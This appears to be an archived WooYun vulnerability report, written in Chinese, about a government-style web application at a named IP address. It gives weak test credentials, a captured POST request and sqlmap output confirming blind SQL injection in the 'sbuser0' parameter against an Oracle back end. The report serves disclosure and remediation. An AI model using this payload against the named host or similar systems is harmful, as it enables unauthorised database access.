乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-08-04: 细节已通知厂商并且等待厂商处理中 2015-08-04: 厂商已经确认,细节仅向厂商公开 2015-08-14: 细节向核心白帽子及相关领域专家公开 2015-08-24: 细节向普通白帽子公开 2015-09-03: 细节向实习白帽子公开 2015-09-18: 细节向公众公开
拉登给布什发了封信:qs-IHSIN,布什不解,联邦调查局也无能为力,于是将其送至英**情六处,解答是:总统你拿反了,用汉语拼音去读!
http://219.143.252.178/
test 123456
POST /AjaxAction.do HTTP/1.1Host: 219.143.252.178User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8Referer: http://219.143.252.178/eform/DataAction.do?actionType=query&systemid=sggl003&subsysid=sggl003001&modid=sggl003001001Content-Length: 520Cookie: JSESSIONID=FE6781C6993013150E086103790DD25E; loginUserCode=test; allUserCode=admin%2Ctest; PobaLanguageId=zh-cn; login-status=true; test=0; eflow_history_tag=http%3A//219.143.252.178/eform/DataAction.do%3FactionType%3Dgoto%26toPage%3D1%26systemid%3Dsggl003%26subsysid%3Dsggl003001%26modid%3Dsggl003001001%26tagid%3D%26eformshowtype%3D%26eformpagebreak%3DtrueConnection: keep-alivePragma: no-cacheCache-Control: no-cacheactionType=query×tamp=1438671168000&actionType=query&doKey=&eformsysid=sggl003&eformsubsysid=sggl003001&eformmodid=sggl003001001&eformformid=sggl003001002&eformflowid=nhdasbsp&eformname=%3E%3E%26nbsp%3B%E5%86%9C%E6%88%B7%E6%A1%A3%E6%A1%88%E4%B8%8A%E6%8A%A5&eformtype=F&eformactionid=&eformpkey=sno&eformtagid=&eformismulti=&eformtarget=&eformshowtype=&eformschema=none&eformqryarea=&eformsourceurl=&eformoptions=sbuser0%2Csbdate1&eformorderby=&eformselection=&sbuser0=&sbdate1=&dbgrid=&toPage=1&rndval=1438671168111
sqlmap resumed the following injection point(s) from stored session:---Parameter: sbuser0 (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: actionType=query×tamp=1438671168000&actionType=query&doKey=&eformsysid=sggl003&eformsubsysid=sggl003001&eformmodid=sggl003001001&eformformid=sggl003001002&eformflowid=nhdasbsp&eformname=>>%26nbsp;%E5%86%9C%E6%88%B7%E6%A1%A3%E6%A1%88%E4%B8%8A%E6%8A%A5&eformtype=F&eformactionid=&eformpkey=sno&eformtagid=&eformismulti=&eformtarget=&eformshowtype=&eformschema=none&eformqryarea=&eformsourceurl=&eformoptions=sbuser0,sbdate1&eformorderby=&eformselection=&sbuser0=%' AND 4889=4889 AND '%'='&sbdate1=&dbgrid=&toPage=1&rndval=1438671168111---web application technology: Servlet 2.4, Tomcat 4.2.3.back-end DBMS: Oraclecurrent schema (equivalent to database on Oracle): 'TRADE_BUSINESS'
参数过滤口令加强
危害等级:高
漏洞Rank:20
确认时间:2015-08-04 17:20
非常感谢您的支持!
暂无